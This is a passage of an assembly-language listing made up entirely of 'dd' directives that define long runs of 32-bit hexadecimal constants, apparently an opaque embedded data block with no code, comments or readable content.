		dd 992FC55Ah, 7640D180h, 0FCDD5E07h, 0BC35EDCDh, 670034E8h
		dd 6E4A64C5h, 2400A4EAh, 0BA6FFAE5h, 247CA2Ah, 9D3BD7F8h
		dd 7476F912h, 39E0E91Dh, 0D03802E8h, 2B3F4382h,	0F8D68209h
		dd 27F3FF00h, 5DEBA4h, 0B32064A7h, 0B1B48C65h, 3650A31Fh
		dd 8A0A5140h, 2D210C7h,	43CC5DDCh, 34401E75h, 274F9CD4h
		dd 0E60084CBh, 803CC0E3h, 0A50098BDh, 34C1C918h, 0FDB3F6h
		dd 72D0A78h, 21F48E84h,	0C7779E05h, 4CD04237h, 0C3D8F8h
		dd 6366B118h, 0AC74E13Eh, 98216500h, 930EAE0Dh,	0A7E30028h
		dd 30C996E5h, 522E6703h, 614034C2h, 3822FCE4h, 568033C8h
		dd 2EF2A2CCh, 8527FA8Ah, 7900C799h, 0C7D1D11h, 0D931580h
		dd 980BC845h, 84C35059h, 0F8EC0ED5h, 9D5AD2Eh, 7880406Eh
		dd 7BDED5A6h, 0D0FC9801h, 14F7B78Eh, 3E009423h,	58C05FB5h
		dd 0D2025733h, 7326118Bh, 1FB38020h, 0B211513h,	848ABF7Dh
		dd 2502A802h, 0CC2CB0A0h, 0BA0EC679h, 5EB3D7EAh, 8E6DB0FFh
		dd 18AA54C1h, 388DA342h, 7F3DB2B1h, 98648333h, 0D89766E2h
		dd 8A131Ch, 94D7EB9Ah, 2F28301Eh, 70776400h, 0BFC8F0E1h
		dd 0FD5D040Bh, 0AC87F8A3h, 691A602Ch, 26EAFBh, 0C3340C6Ah
		dd 0C543829Dh, 0AC811E5Ah, 0EAECC602h, 0F7130715h, 70768883h
		dd 0A36EE4D2h, 0EB144F03h, 90843D94h, 0B2A0F04h, 52896963h
		dd 98F184DFh, 0A9FC0CCh, 0F8942AFEh, 8E860588h,	0E850F1F7h
		dd 0A70783C1h, 3559FADCh, 89316180h, 8C8D5A77h,	3B40395Ch
		dd 0B09CB0h, 68C9FEE1h,	9548079Ch, 0F04AA27Ch, 6C260E84h
		dd 4013D214h, 0D5ECC614h, 0B4EC7ADh, 0F951A881h, 0B629C0F2h
		dd 12D800B8h, 0A711466Fh, 0C9059431h, 0EC591F16h, 8361D84Fh
		dd 0D0B4BF70h, 2E0A6F0Dh, 409974h, 0F3B6F85Eh, 0F20EA433h
		dd 6BDE1C14h, 0DE0059A0h, 2BA01842h, 8C7422BDh,	8A0099E6h
		dd 659A75F0h, 1C3755DDh, 0F28D1A8h, 0ACE23AD9h,	0AC8166ECh
		dd 0DE16AA0Fh, 0BE5334E0h, 8C152C0Ah, 5980A00Ah, 7A198AB9h
		dd 0C1D300D7h, 717B3C3Eh, 3401B7F1h, 8A599535h,	86E01AA5h
		dd 9DC21743h, 6420758h,	0C68C00B9h, 7002F51Eh, 2BAAB526h
		dd 173CC150h, 0C060416Fh, 3BA841A3h, 10CA041h, 45D40BADh
		dd 7A960F9Eh, 9060631Ah, 223A4ACDh, 27315D1Fh, 0D900EF9Eh
		dd 39D6A3C9h, 0F07C50F3h, 0C7DA1349h, 4EE0F25Ah, 0DA898C0h
		dd 7019007Dh, 771A75B4h, 1B007A41h, 1829E18Ch, 0F4F766EBh
		dd 0C5130071h, 0EA58D7C8h, 7898AD0Ch, 8A19AB00h, 0D1ED77EFh
		dd 887F03AAh, 6D1E9939h, 85B3D002h, 40A1209Ah, 4B530E00h
		dd 7F888363h, 242EFAB1h, 7C4B1658h, 0B08F14C7h,	0E89A1080h
		dd 41554F59h, 0EC92C4BCh, 0AC30C313h, 71241080h, 7C0403F4h
		dd 388118BEh, 38683EEAh, 740731C0h, 7180921Ch, 9FD9FD10h
		dd 4DFB09F8h, 8C1048D1h, 34F8A27Eh, 11AD4700h, 1C91A007h
		dd 0C253002Ch, 3E3F8FD8h, 0FC1FE5C8h, 10409950h, 4271155Fh
		dd 0A647A0Fh, 75DAF3CEh, 9E7202E8h, 80A05297h, 0BDB0151Fh
		dd 7B0F3777h, 803D302Fh, 59043F05h, 0C014018Bh,	626E479Dh
		dd 18B4E032h, 8041273Bh, 4E3AAB4Ah, 1902666h, 8D0BB101h
		dd 857BEBA8h, 1FE4F1F8h, 1B00C8A8h, 56E78A83h, 0BA269B53h
		dd 8400D858h, 3A3F79DEh, 0C6B10ECAh, 0B980C0FBh, 27C26942h
		dd 28CEEA00h, 0D82D89A6h, 67BCA038h, 6B170F0Ah,	0F6697808h
		dd 0A0B2DE85h, 0D613C8D4h, 48F09F11h, 48EFF09Bh, 420190EBh
		dd 830E2F39h, 0B55C10B7h, 0F5312695h, 0BF598118h, 43FCD07Dh
		dd 0A0B049CCh, 0D6E40277h, 8088CE39h, 4FE8ACA5h, 4C7FA897h
		dd 49003068h, 1BC4E480h, 0F15B8E2Fh, 2EE1A420h,	0BE84A1E2h
		dd 60DE3C30h, 88971129h, 2524B160h, 1D01BC87h, 2FC49910h
		dd 8A34830h, 0A52C49DDh, 0AC6F5401h, 0D07413BAh, 244600C6h
		dd 0B74B3484h, 9F07E031h, 0E3BE0D11h, 27E2F150h, 8A66037Dh
		dd 4693977Ah, 0EE86D3E8h, 98994E03h, 912F20Eh, 0DBB088F0h
		dd 0D6004894h, 0D558135Fh, 4B1A2EB6h, 0C0ECC75Bh, 887C3F87h
		dd 8035C63Fh, 76B2EAB1h, 0F829947h, 8944DCA1h, 0FCF319C5h
		dd 34CF0170h, 2E28CC62h, 6844007Ah, 0DDFBFE24h,	7B02148h
		dd 99176E23h, 57B889A0h, 0DCC9557Bh, 0B78733Fh,	47EF5CE8h
		dd 948D7300h, 0A364F31Fh, 1A4B0106h, 0F45EE615h, 0FC1021E5h
		dd 0FF764F87h, 4510E860h, 60022F99h, 171BC833h,	2200786Ah
		dd 0AB92232Dh, 0EA5C9F65h, 0EDDB002Fh, 176724F6h, 0A07692Bh
		dd 3C8D21D3h, 16D0DC17h, 5A8726h, 980B0E0h, 0FFF2ABF0h
		dd 9D4FA4B0h, 90343C00h, 1DBC1F22h, 0FEB8EE44h,	5AD1F980h
		dd 0AE080BC2h, 0E36F5000h, 0ECA3AC21h, 56C40064h, 3187F2A1h
		dd 47F9285Fh, 0A8C340FCh, 200178Eh, 414AEBFFh, 9F820h
		dd 0E4E5B33Fh, 0BA611DABh, 0A473DF01h, 6271EDCEh, 197B074h
		dd 5087CA42h, 609D1AE9h, 1F50B60Bh, 0DC2594FCh,	3458E8h
		dd 530931A4h, 0B9049B8Dh, 0DFB52300h, 3B9A7A62h, 1CDB054Ch
		dd 0EC0184CBh, 361703B4h, 8051FC3Ch, 4E9C888h, 41D471CDh
		dd 9DC09001h, 9A053FE7h, 10BBC931h, 54F9FC49h, 9BA86050h
		dd 780BDB38h, 763C4h, 82C8B880h, 0CDC307E3h, 6170F3ECh
		dd 6AF4D30Fh, 0BCEB3005h, 93E9850Eh, 9FFD5CD1h,	1300AC68h
		dd 394C9437h, 0D7095AEFh, 0A0AA9365h, 5FF999D4h, 13C0002Ch
		dd 983723A4h, 2502147Bh, 55C13D2Ah, 3C3474A6h, 21AD0880h
		dd 354E9E87h, 3315205h,	80C8D36Fh, 3AFE7E8Bh, 0BCD9A01Ch
		dd 0B7A46C00h, 5269C832h, 0B5A23C13h, 0C9293044h, 0AD2C18E8h
		dd 0C07E1DA1h, 0B084B4DFh, 8370E285h, 6F49C8A0h, 3CE8D900h
		dd 0BC9FF222h, 0D875E9h, 0A5B2C13Fh, 0C670F92h,	50911A00h
		dd 0BFC2FD10h, 0E09C07FFh, 35A56915h, 463680CAh, 4401D6E7h
		dd 2B7FE12Ah, 58302EC5h, 0CC7D0067h, 0B042AF49h, 53486B26h
		dd 0BE850055h, 7FA46ECh, 366C0016h, 1975799Eh, 0CA00225Fh
		dd 6988A22Bh, 114346Fh,	0B06B1011h, 0C8E3E9C5h,	650BB4CCh
		dd 0E0061A44h, 2B4B94h,	0A5735E3Eh, 5C7EEECDh, 9A1C4892h
		dd 84C0C121h, 43541716h
		dd 26410E4Ch, 0B4A0357Eh, 18AAFB32h, 0EFA76007h, 5B409925h
		dd 5A17F0Fh, 9A95B083h,	92FC40D3h, 8B16876Fh, 70DC50F9h
		dd 0A800E61Ah, 24E21FE8h, 7F13BCh, 6F118425h, 621B068Dh
		dd 0C3909700h, 0C8CFF72Dh, 876D01DCh, 99423622h, 1411EC72h
		dd 37891012h, 0A22A5090h, 12AB003Dh, 3BD13644h,	1800A66Fh
		dd 0F7062B08h, 2E43B68Fh, 9CCA35Dh, 60A0A24Bh, 0C37C94C6h
		dd 0FF12B71Ch, 0D32ECC0h, 6B9B68Bh, 5DDDB876h, 29E29072h
		dd 35F96600h, 0B30711Eh, 0D4A400BAh, 0A8CB8625h, 6D04448Bh
		dd 0C75F4AFAh, 880ED780h, 0FBB500E0h, 94011B45h, 21247B65h
		dd 0B912B417h, 0F280EC1Dh, 987F0D35h, 43113F53h, 4FD46989h
		dd 151DA8A0h, 0F7FE35F0h, 5E74C800h, 46879DEEh,	72C30095h
		dd 9AFC8F18h, 0F47A37F0h, 0C0AA0D07h, 0A6300B07h, 73A221F8h
		dd 1B390F6Ch, 0BDCB92D9h, 0B930C40h, 6EF5D002h,	80C230FBh
		dd 0DAF29DBBh, 0EAD30485h, 0BCB59B3Fh, 4F80058h, 1F53AFF4h
		dd 0D36100E8h, 3DD0027Fh, 3C01AE31h, 739C931Dh,	59C10396h
		dd 0EC4170D4h, 108E023Ah, 33A2A591h, 77CB48E0h,	0C0984873h
		dd 8058713Dh, 9B3A6E8h,	3996D81Ch, 8700B2EFh, 0E0E2FC64h
		dd 0EB2462C5h, 578040EAh, 8F0EFECAh, 0F98500CFh, 20595DD3h
		dd 270065F1h, 9978BA1Ah, 79D5F3A1h, 3D730030h, 0E7C166A8h
		dd 4F006DCEh, 0C7AC7F4Eh, 1CEC80AEh, 16F3B89Ah,	0D0500078h
		dd 0BB44344Ch, 45370E24h, 1750E500h, 303CF4B2h,	341002FBh
		dd 0C703E7A4h, 0D97A9992h, 2517F831h, 3D4A2D8Eh, 4FCBD880h
		dd 0E702229Ah, 20BD709Bh, 10905DD9h, 44EA57D0h,	407FA52Dh
		dd 1C1939D8h, 800E368Eh, 0E228E454h, 0E92D10EAh, 24A84183h
		dd 0A4C45A0Ah, 0D1C041AAh, 30939ABCh, 1F1242F3h, 24C0B134h
		dd 4C29F72Ch, 8D032CB4h, 0EB442425h, 6C3C10F6h,	21E581A6h
		dd 0C96F421Fh, 30AA2980h, 74FA5F45h, 4B384098h,	3A499D63h
		dd 352C0Bh, 0E2B66B3Ch,	0E99802C3h, 81EBCC4Eh, 0DE9740C0h
		dd 50953300h, 78CF4B2Ch, 3D591756h, 26E700DDh, 53D85B6Ah
		dd 676D8401h, 5955C344h, 8543D0h, 8A7924DFh, 74EEAC77h
		dd 3A2DDA02h, 7CCC3E09h, 5BBA0094h, 3B18C7A3h, 6C2A2C2Ch
		dd 87C95007h, 0E1300970h, 70F20116h, 0A64F0ECBh, 61C8516Eh
		dd 2C64FC79h, 25C32100h, 0EAB9B411h, 28853E20h,	2AB2480h
		dd 0E9A1E652h, 6B3C8700h, 0BE6EB7CDh, 0A88F9D9Dh, 90556607h
		dd 51774C50h, 0D5CAA105h, 1CEC643Fh, 2B0D40Fh, 0F2386604h
		dd 0F0CE2564h, 0C880030h, 756B798Dh, 2C00FFF8h,	0B1E48B01h
		dd 6F47B5h, 0B0F67FE9h,	6B918F30h, 0D10E2700h, 6C2457FCh
		dd 725C38DDh, 6F2F3049h, 1030894h, 8290E5D9h, 86BB00Fh
		dd 4BEACh, 3F451080h, 8A00234Fh, 0B17C9D47h, 909FA232h
		dd 0CF260730h, 0F0082E7Bh, 682D1C28h, 81D038C0h, 0E62563D3h
		dd 41A03C47h, 0F613F080h, 1B29B0F7h, 2FC87F02h,	42CB1E1Fh
		dd 3264605Ch, 8DF4017Dh, 446C2EF7h, 35E6E075h, 0E76F9A00h
		dd 0FBE027B3h, 53700E65h, 0C4345FC2h, 7364EB00h, 9E3C891Ch
		dd 0EF4AF4Ch, 0A3B8682Fh, 0E8C82CC3h, 0F8963Eh,	167DF617h
		dd 8462AEBDh, 26EE6916h, 0B0CD10F4h, 0AC35025Fh, 6E5A0425h
		dd 6388F46Bh, 0BB0EE686h, 0AE354B1Eh, 137EA057h, 3B0AA804h
		dd 9F80FEE2h, 0CACBBC4Ch, 0BD02760Eh, 6CC95CC3h, 0A8005733h
		dd 4597AD38h, 534140Bh,	0D7805A6h, 0C896F9C2h, 15E3610h
		dd 342462C3h, 7275D2DAh, 0D1D407D8h, 0C01E28D0h, 0EF449869h
		dd 0F64F0935h, 507EAAC6h, 0B01D837Bh, 12FAA8Fh,	93D89F8Ah
		dd 0C4DB94DAh, 0C0005FB4h, 22C93E21h, 126628BFh, 0C0DAA5AFh
		dd 0A8D5418Ch, 5B325D00h, 453C27DEh, 2C880005h,	0CCD9E36Ch
		dd 71000CCEh, 255A89B2h, 489DAAF2h, 0F0066A6h, 0DDE85046h
		dd 0A060F6DBh, 0C6EB2F50h, 685100CBh, 0BEE5F5B6h, 0A23F59E1h
		dd 80583D71h, 98AC4121h, 0F40BA405h, 29A600ADh,	806BA251h
		dd 6300366Eh, 24454878h, 11E688Dh, 66641553h, 0E8ACEBE2h
		dd 5800C4B9h, 10F847ECh, 45ED71Ah, 0D81D43FFh, 0A2A1C0E6h
		dd 0CE003545h, 1A8A0C83h, 0DC3117h, 0A66A0ADEh,	13682173h
		dd 52D3BE1Eh, 8C809824h, 41DE5FA4h, 0D75A003Dh,	0AFE035B9h
		dd 0E30014B8h, 4A2D65D0h, 22ECA7h, 47E9BE49h, 5D3BA152h
		dd 0E4B77800h, 0D6BDF351h, 0D4F80033h, 9706F257h, 60C054E6h
		dd 19CEE1B3h, 4FA902Ah,	51B4C798h, 8610B024h, 0F405CF78h
		dd 26EB069Fh, 137CE0F8h, 0A254FE90h, 0BAE87068h, 5ECD2700h
		dd 7686B095h, 0F91727E9h, 1FA81440h, 96447C0Ah,	0B1003CE7h
		dd 0B86448F3h, 0BFBE000Dh, 911945A4h, 5000CF5h,	0C2B1AB28h
		dd 7153DC64h, 99B43A9Fh, 0A757131Eh, 565C405h, 81A79C48h
		dd 0D0380B00h, 34AA9D7Ch, 0B111CE80h, 2B002965h, 23BAEA66h
		dd 1DC7ED45h, 0CCF7B2FDh, 10B8949Eh, 0E865EC00h, 0B83F3CFFh
		dd 0D5850087h, 5D1953F8h, 1312847Ch, 0DA009E48h, 0D16FB538h
		dd 18F10017h, 6D10D2E4h, 0F0EB22Ah, 877C2F92h, 40A0E5E8h
		dd 39A4148Ch, 0ECD4244Bh, 0B58600B1h, 6A11BA72h, 0E507B7EFh
		dd 700F7365h, 115E14Ch,	0FF4A76A3h, 81720AAEh, 0AD1047D1h
		dd 39C8D392h, 0C0283BCAh, 0F52C6B80h, 84058AD4h, 0E120043Ch
		dd 5D4A8331h, 0C4601CDDh, 0C8EE59A2h, 2D506806h, 0D51890C9h
		dd 88315679h, 77043DC0h, 19D18380h, 0D09FD9B9h,	0AB8A0A1Dh
		dd 0A4D6EB40h, 1D4AF3E0h, 391F21Bh, 68D19D07h, 0B8C028C3h
		dd 600CEACh, 2F1A763h, 0B32FB9h, 290ACCF5h, 40D3B73h, 9F4E7500h
		dd 0E38CEB7Ah, 0B8980A02h, 80905125h, 0D464127Eh, 0CE0F2CFBh
		dd 21C97BA2h, 0DDA14F70h, 0F48E04DCh, 740B509Dh, 0CDE52575h
		dd 9625E483h, 4D4938h, 490EF6C9h, 0C6724D7h, 7453429Fh
		dd 513F14F4h, 28B30775h, 9241F43Eh, 2F9E73h, 0F7EEC6Ch
		dd 0CC13249Bh, 1073ED1h, 0D3EEE6F6h, 0A4ADFA0Ah, 0F2EA0787h
		dd 0A9632240h, 29E8F5h,	0ABB00F18h, 34CA0279h, 9C67B300h
		dd 7BE3C3ACh, 2A98007Ah, 0F7A1E488h, 0E0C74811h, 4B50BE35h
		dd 179CC3h, 0B502825Fh,	4F1923D9h, 930065B8h, 16DE4FBh
		dd 3AFC4AD2h, 2C00F637h, 0F0655C1Eh, 8E0CAEA0h,	9770298h
		dd 3C21C080h, 4DCAF19Ah, 7762F00h, 6B3BAC8Bh, 2EB30029h
		dd 634AFC1Eh, 52603F9Bh, 0F4CD9678h, 0BAD0008h,	0BC5A24B1h
		dd 0A8609E2Dh, 0ECE11950h, 0E78519EFh, 0B2FC90D4h, 30029869h
		dd 0AE71F06Fh, 86229E46h, 0F1843A09h, 9C3880FCh, 712112h
		dd 4B50F016h, 0D532BFCCh, 80FCB007h, 95802DB5h,	1B9F3DFh
		dd 0E5B8D118h, 0DCEA4B4Eh, 3160B2C6h, 0B6A88CC9h, 8A630180h
		dd 0DBAB4158h, 6BED011h, 0D06E20C0h, 3695BB6h, 0FEB27808h
		dd 0EC98240Dh, 0D1142118h, 0B8021Ch, 0BE4D5FC9h, 0D43F25h
		dd 809C6F26h, 2A17DD79h, 0CD462400h, 0EA86FEF6h, 0E6C800F9h
		dd 0A0989F81h, 5200B3B2h, 0A3DF098Ah, 6532A1Eh,	0FB57862Ch
		dd 48711BCh, 3F153586h,	50597C10h, 7088AACh, 70BFCE9Bh
		dd 0E5F9B094h, 92074967h, 8C788912h, 823007E7h,	0EDD5DAh
		dd 0A88F3DD2h, 0C9D36FEEh, 0E9AB7800h, 0B0DEC4C5h, 0F5530F11h
		dd 0B38158B8h, 0D5601AE6h, 64EFC0EBh, 9C981200h, 6745ADCDh
		dd 4D531897h, 1B931C4Fh, 81F65C00h, 0ED643356h,	0F8C31D40h
		dd 0BDB9806Ah, 0A43E79A5h, 1A730A00h, 53ABD44Dh, 0DD3C00B5h
		dd 2FD2298h
		dd 0F7030DCCh, 0CE5C5849h, 0E8E18B5Bh, 0C070983Ch, 0C41F5A52h
		dd 1500A5EBh, 0BFACD67Dh, 5752DFh, 676AC9C2h, 88F1E1ECh
		dd 327A1800h, 856F1DD3h, 2B3618A8h, 9D162068h, 6132D848h
		dd 723410AEh, 0F9B4B050h, 0CDE4009Ch, 2B44D0E1h, 0C100A5F6h
		dd 77B7C47Ah, 24A69841h, 0FFFF0Ah, 1BE567EFh, 840CCD7Dh
		dd 493B1D10h, 76F800A5h, 77572249h, 0FD0090E3h,	0B328316Eh
		dd 0C0FE4F2Fh, 0DE7B5D40h, 0BC002683h, 0E8D7E57Dh, 0FC7B5B7h
		dd 8AB6392Dh, 0C9BB88C0h, 0F7000820h, 3BB2093Ch, 1C621DDh
		dd 0A079FA77h, 0E86D97E3h, 0EF07B91Ch, 0C96FBB41h, 0B6FC7D40h
		dd 4D0B1DD8h, 0CC0C7D11h, 0D9AEDD99h, 24ECBC00h, 0F404E65Dh
		dd 0D254249Dh, 2A890068h, 2E8D5ADAh, 9C51AA00h,	0F5AC3F6Eh
		dd 0C0A07B10h, 89F940E1h, 5B033349h, 87372C74h,	6C95988Bh
		dd 6F54036Dh, 0BDB10CBh, 467B1CF8h, 708348h, 9239AF07h
		dd 6B7F22h, 0A9599536h,	684C0E7Dh, 76BFFB00h, 25B5D994h
		dd 28927E3Ch, 3C4F645h,	0BE232152h, 101D093Eh, 6D802617h
		dd 6C6F9FECh, 74A200BDh, 1FFA7537h, 0E7021679h,	0EC66123Bh
		dd 0A0554310h, 72D2080h, 0D834A432h, 4CFCC138h,	0BF54FC74h
		dd 0E039D62Ah, 55AC8250h, 0AA52B000h, 0D101287Fh, 3577026Ah
		dd 0E7057D3h, 8B26D4C0h, 0DB18EB12h, 0F933000h,	0EECDD125h
		dd 66F3008Fh, 0FA4D9CF7h, 0F9489129h, 7C600008h, 0CEC7E754h
		dd 0D73A0388h, 0BBD08FC4h, 0C100A871h, 0C8352961h, 0CF2A8Ah
		dd 65EDF6FEh, 0A3258911h, 0C0B5BF00h, 0D549E37Eh, 0CD9D1CD1h
		dd 48C58E78h, 1851E900h, 7C263CEFh, 4E801846h, 0BACA996Ah
		dd 0EA2E1FD8h, 42544288h, 0B0D45955h, 92799D3Bh, 0AAB680FFh
		dd 309493Fh, 3C400596h,	0D3605Eh, 0A05D9EB8h, 70C70226h
		dd 9C40D03Dh, 0D946B6h,	8379ED5Ch, 8F3A56CFh, 6335190Fh
		dd 5B2E8045h, 0AEC3A6h,	827CD725h, 0A8116C01h, 43B0ED0Eh
		dd 98C62053h, 34E2D7Ah,	5744064Ah, 0B7A16086h, 0C025C4C2h
		dd 6F01F517h, 58BBA602h, 5FA9601Eh, 6574007Fh, 0D361EB76h
		dd 0E300C793h, 242E6BDBh, 713DD9Bh, 1D1C6F7Eh, 32C10EF7h
		dd 0DC399E2Fh, 34E2C66Ch, 8B001E74h, 0A60E3F2Dh, 54CC5F3h
		dd 3D052849h, 0DDA00047h, 0D8CF9CADh, 72261512h, 0C68AFC40h
		dd 30FE7D58h, 0DDF8C993h, 250ED2F0h, 0C4E81F74h, 8C905636h
		dd 79D71h, 6222C3E1h, 48DA7AAEh, 0DFEEA700h, 0DAFFAFCh
		dd 47FCC5h, 0EFBB4A7Bh,	40E97ADEh, 63F2BA1Ch, 5809E46Ah
		dd 8157DB6Ch, 69290F78h, 94C9CC50h, 0C0C6EAFEh,	0F85FAB10h
		dd 3C7982F6h, 0EB6A4A00h, 0E8658890h, 40EA00F1h, 132C0603h
		dd 9402EC89h, 7E306EF4h, 0B8A4E378h, 136B3E11h,	71CCBC9h
		dd 0C3A629ECh, 0F8000C30h, 0C5148060h, 3D4F98EBh, 8CDDDF8h
		dd 173B211Eh, 3D70E5Eh,	0B625D780h, 0B2008F0Bh,	0D84CB519h
		dd 0B777A9h, 0DEB197A2h, 0CE21CDBh, 0E129EF00h,	0D337DA5Fh
		dd 64BA4854h, 0F4748B00h, 0F3B8BD16h, 25806900h, 41E723AAh
		dd 1F151CB1h, 60E84076h, 53444987h, 0D8EE0F27h,	0D811C053h
		dd 25AF59E3h, 89B26528h, 0CA8E1A00h, 2A365AFAh,	9FD83D86h
		dd 0F2A68380h, 3A4640D4h, 1D7FA307h, 680A28Dh, 1B412Eh
		dd 0C614ECBBh, 2B92F918h, 0C4B16600h, 557D6567h, 0D3AD00A2h
		dd 0B6A7D672h, 68046282h, 77845705h, 0F13A70C0h, 0A6790019h
		dd 5B112AF9h, 0AA00E0B1h, 1DA15E28h, 1CC39EFDh,	4022061Bh
		dd 0F4604365h, 0B303987Fh, 14D92A7Ah, 4C4000DBh, 4A85C7B9h
		dd 4B7B890Ch, 9F249E00h, 0D74397CBh, 0DE10607Ah, 55B41A93h
		dd 0BA03B57Fh, 0BC92BF56h, 0C0A9B3ADh, 1CBE0Bh,	66D8A071h
		dd 533369ABh, 0D2436E0Fh, 82A980E4h, 4808A54Bh,	0DA50C842h
		dd 0C20E00BEh, 9AF4334Dh, 7D16D2D0h, 3405B795h,	4CD7ABE0h
		dd 0D5C0CC35h, 90F8D457h, 0C3350018h, 0C4AB6517h, 0D303A109h
		dd 3BD991DCh, 42A387AFh, 64D18078h, 0B60400ACh,	0B7B3FE0Ch
		dd 0B03B2811h, 0ADF000C1h, 9FFA3FC5h, 4E470163h, 0FF9D49BEh
		dd 0C48C2440h, 51BA4100h, 27CFF087h, 64E5001Fh,	80B4675Eh
		dd 0BC5C5433h, 5F07C97h, 10536630h, 3792037h, 0FE8D2AB5h
		dd 9EA04ED2h, 0C3EA6440h, 6D151D00h, 0BD6FB93Fh, 0CC75482Eh
		dd 9C9C7C3Ch, 4EC84017h, 5E742D8Fh, 0BCD0C402h,	0A790B6BBh
		dd 46801784h, 0F957F98h, 0B0F016B9h, 0BA93F321h, 0AE80BD22h
		dd 3E401426h, 74E644F0h, 0BB68142Eh, 370024FEh,	51EA350Eh
		dd 5800C0C6h, 60CC86C3h, 7C211F41h, 0D5BD0002h,	0B1477088h
		dd 25EA2B37h, 956FAB18h, 45CCF30h, 0A65FCEBh, 60CB80DCh
		dd 0C60024B8h, 841C87B3h, 31A302h, 0BD86F87Eh, 1721B2BBh
		dd 0AA3FF93Fh, 9F7DB055h, 534A4D12h, 47C44C8Ah,	8F050042h
		dd 0F5617F0h, 7A22AF1Ch, 0A6CD9820h, 3E00AB97h,	0BB7D262Fh
		dd 0F043E260h, 11CF000Fh, 0CBD884C2h, 3D00D02Ch, 6EED9B8Fh
		dd 0AE905h, 531071CAh, 79B37C69h, 56A08085h, 0CEA835B6h
		dd 0AAC2BF00h, 0E0728D5Ch, 3AE81270h, 0E23C4543h, 0ECB5004Eh
		dd 14B72153h, 0FF832716h, 1E6A6C00h, 5C3EB53Dh,	4A00CB4Eh
		dd 8247D3B0h, 6F00C891h, 17E09C5Bh, 7F1BC4h, 7D69FD50h
		dd 7EC5F968h, 0E131DB00h, 8EE9B618h, 0C0DA000Ah, 2B3D5D45h
		dd 0D89811C3h, 0D0B2B300h, 470539A1h, 5BA40017h, 0C00B77F9h
		dd 9300C618h, 0BD11666Dh, 0FEF572h, 0C2C8B46Eh,	2B4165DDh
		dd 1879E200h, 0E7EDD5C3h, 0C511177Dh, 0F2B0006Ah, 7E6E3AC0h
		dd 0A210696Ch, 0CABD000Eh, 0E95EF522h, 5D7D3E15h, 0F70AAB7Ch
		dd 0E06B5510h, 9CF92D85h, 789E0580h, 7F20089h, 8F1B3275h
		dd 0CB16FC60h, 0A400118Bh, 5F204017h, 230303FAh, 779E14DBh
		dd 859D7026h, 0B273505h, 98E3A8C0h, 37558022h, 8482DA00h
		dd 48EABB5Bh, 85CF0310h, 24A2A7Dh, 0B86D1188h, 7316DE00h
		dd 20A62CBAh, 9BD72EC1h, 0E1BF0FDCh, 3A4EB500h,	7D3A5936h
		dd 9F038073h, 85191891h, 0C31C0168h, 3EB20DBFh,	302221h
		dd 2392E76Ch, 489FAD5h,	3122E8E4h, 37CC8038h, 0FBE6E1A3h
		dd 0EE5FD4Ch, 0A12B42B3h, 0D6CA8CF8h, 0D4A2ABC3h, 9E1EC3h
		dd 8E8B0D88h, 7DC1E5DBh, 8909D971h, 8070A85Ch, 1AA35AB8h
		dd 9F170018h, 9D879680h, 0DDFCCEEBh, 2AF12500h,	4FA47395h
		dd 5C7B4871h, 0B24C0F00h, 1E17DFA0h, 6100DCB8h,	4519A67Ch
		dd 0F943F21h, 0A2807D9Ah, 0B4206E09h, 0CF7E6AC6h, 4A286BFEh
		dd 5600F3CBh, 4E5337F7h, 3CB18E11h, 0F980A7DFh,	0DDC045CEh
		dd 0A83A2CE4h, 22D68063h, 954AA12Dh, 49390064h,	0EA8D05A5h
		dd 1700A670h, 9787F71h,	0FC11A5Bh, 0B7BC23EFh, 0AC4E5800h
		dd 430675F3h, 3AD03CECh, 4324291h, 0B8DEDAD1h, 0EC1F9CB0h
		dd 0B624006Dh, 0BA094921h, 0C70E8898h, 60BC5956h, 0AA395AF9h
		dd 3FB10008h, 15C976D9h, 0AC0023D2h, 361BA042h,	37D07F0h
		dd 9329C2C4h, 11E83234h, 3F000287h, 0F61A9E3Dh,	0B8A6A4h
		dd 0DA8E4D9h, 3EBB4C23h, 86B2C43Dh, 2AC92F4Ah, 7F630090h
		dd 0ED2C84A8h, 0EC135A87h, 15144CEBh, 5D2700FCh, 12536336h
		dd 0F43230EDh, 0EF5F2D19h, 0C76E0100h, 0A2946F47h, 70FA487Dh
		dd 52A4C07h, 0EC5B61CFh, 8468E6A3h, 103F46A9h, 0C8E48EEEh
		dd 0F224057Fh, 92BA2380h, 778A0011h, 0CE82E39Fh, 431FC56Ah
		dd 6E80C9B6h, 0BB72F051h, 0CD700E1Bh, 0A801E3Ch, 21FCDAF5h
		dd 676590C0h, 337F9EEh
		dd 0A3E2AFE7h, 9DC07095h, 697B6EDBh, 648E0924h,	0D86B9000h
		dd 1D859521h, 4029A9EFh, 0DD96271Dh, 0DB006FC5h, 41E660E2h
		dd 6BA635h, 4C208C2Bh, 9BB6F207h, 79B0CB07h, 0C224DE21h
		dd 9A04F4h, 1805720Fh, 8F8202EDh, 5DBAD900h, 1EC0CE7Fh
		dd 6A9D0026h, 8859A6FFh, 0E4054A31h, 9808731Fh,	0ED3D400h
		dd 170B050h, 0E576A59Fh, 0CDE6A3E9h, 18282052h,	1D9CB400h
		dd 36C973Ah, 39B90080h,	19B28828h, 5C00C68Ah, 1687C8DBh
		dd 0A42523h, 532D3ABCh,	63442015h, 429C9112h, 0AD4DA400h
		dd 0E78B051h, 0D7644FF2h, 3E7707E0h, 0E60031AAh, 754893ABh
		dd 462C628h, 9105E7Dh, 0B01E8498h, 6309AC04h, 40C265B5h
		dd 7BB03FCh, 7B10746Ah,	96E2B3AEh, 88FE70A0h, 1598272Ch
		dd 0B7600302h, 7F6068A7h, 0BC6C0167h, 0AE1D6FE1h, 4DB02079h
		dd 5A9DF700h, 0B19E2DCFh, 186160B4h, 7BE4F1CDh,	0CC913526h
		dd 0ABC00C87h, 4000D3BFh, 59130199h, 47CB1F83h,	0FED51641h
		dd 6CB47B00h, 0E8556B20h, 35E60057h, 0E9AC454h,	6003E92h
		dd 5BF9660Ch, 0E667A3F5h, 0C0D55033h, 1982Ch, 600E894Dh
		dd 9FB1341Ch, 0CA26C70Eh, 0F15F2041h, 262A5D08h, 0CBB085h
		dd 979D7825h, 2300FC5Eh, 0B17BE190h, 0CFA871h, 0BDC122A7h
		dd 0C515B3Ah, 0AE131601h, 32BFFC47h, 0C83815F1h, 6DD68A01h
		dd 709406F4h, 0D0C0822Dh, 1AAFF74Bh, 99240076h,	0C4D0DF62h
		dd 9600C74Dh, 56D5E34h,	0E480CC0Ah, 4B513CC1h, 4A52DF80h
		dd 2FB87CAh, 0C00B273h,	14FC42B6h, 0FCBEBh, 26F0F684h
		dd 0EBC9738h, 28E94600h, 56D5DBFAh, 8E8900DDh, 68582E3Dh
